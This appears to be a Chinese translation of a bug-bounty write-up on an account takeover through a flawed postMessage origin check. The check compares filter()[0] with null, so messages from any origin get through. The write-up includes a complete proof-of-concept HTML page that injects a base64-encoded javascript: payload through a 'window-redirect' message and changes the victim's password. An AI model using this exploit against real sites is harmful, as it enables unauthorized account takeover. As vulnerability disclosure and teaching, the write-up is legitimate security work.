??翻译文章,原文:Account takeover via postMessage[1]
大家好,我将分享一个通过postMessage完成的简单有趣的xss。当我在私有程序中查找站点错误时,偶然发现了一段JavaScript代码,该代码如下:
t.prototype.redirectTo = function(t) {
var e = String(t || "");
document.location.href = e;
},
t.prototype.handleMessages = function(t) {
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {
var i = document.getElementById(this.inlineChatFrameId)
, n = i && i.parentElement;
switch (t.data.command) {
case "inline-chat-window-minimise":
return n && (n.classList.remove("gnatta-inline-webchat"),
n.classList.add("gnatta-inline-webchat-collapse"),
this.toggleInlineChatScrollLock(n, !1)),
void this.cookieService.create("InlineChatIsMinimized", "true", "", 0);
case "inline-chat-window-maximise":
return n && (n.classList.remove("gnatta-inline-webchat-collapse"),
n.classList.add("gnatta-inline-webchat"),
this.toggleInlineChatScrollLock(n, !0)),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "inline-chat-window-close":
return this.killInlineChat(),
n && this.toggleInlineChatScrollLock(n, !1),
void this.cookieService["delete"]("InlineChatIsMinimized", "");
case "window-redirect":
return this.redirectTo(t.data.completionRedirectUrl),
void this.inlineChatSessionTrackingService.removeActiveChat()
}
}
}
简短阅读此代码后,我发现他正在收听postMessage。每当我遇到postMessage代码时,我总是检查他是否检查了origin。这段代码清楚地告诉我们,是的,他正在检查来源。所有这些似乎都不是问题,但您可能会发现JavaScript存在问题。让我们看一下原点检查代码。
var e = this.chatInstancesDetail.filter(function(e) {
return e.domain.toLowerCase() === t.origin.toLowerCase()
})[0];
if (null !== e) {//...}
通过观察,我发现this.chatInstancesDetail是一个数组,并且Array.prototype.filter方法始终返回一个数组。如果您在控制台中运行以下代码:
[1,2].filter((item)=>item===1)[0]
输出1。如果不满足条件,则列出以下代码
[1,2].filter((item)=>item===3)[0]
输出未定义,然后输出判断语句if(null!== e){// ...}。在JavaScript世界中,==和===是不同的。例如null == undefined和null === undefined,它们的结果是不同的,这也导致判断是否始终为真。因此,此检测代码毫无意义,任何域名都可以与其通信。之后,我简单地构造了一个poc,代码如下:
<!DOCTYPE html>
<html>
<head>
<title>xss via postMessage</title>
</head>
<body>
<a href="javascript:attack()">click me start attack</a>
<script type="text/javascript">
var ctx,interval,payload;
payload=btoa(`
window.opener.postMessage('attackSuccess','*');
if(!window.cx){
window.cx=1;
email=$('#currentCustomerEmail').val();
password='Hackerone123';
$('input[name=newPassword]').val(password);
$('input[name=checkNewPassword]').val(password);
$('input[name=checkNewPassword]').removeAttr("disabled");
alert('Hello '+email+' your password will be changed to: '+password);
$('#updatePasswordForm').submit();
}
`);
function attack(){
ctx=window.open("https://example.com/xxx");
sendPayload();
}
function sendPayload(){
interval=setInterval(function(){
ctx.postMessage({'command':'window-redirect','completionRedirectUrl':`javascript:eval(atob('${payload}'))`},'*');
},500);
window.addEventListener("message",function(e){
if(e.data=="attackSuccess"){
clearInterval(interval);
}
});
}
</script>
</body>
</html>
运行poc后,您可以成功修改受害者的密码。最后,谢谢您的阅读
References
[1] Account takeover via postMessage: https://yxw21.github.io/2020/06/05/Account-Takeover-Via-PostMessage/
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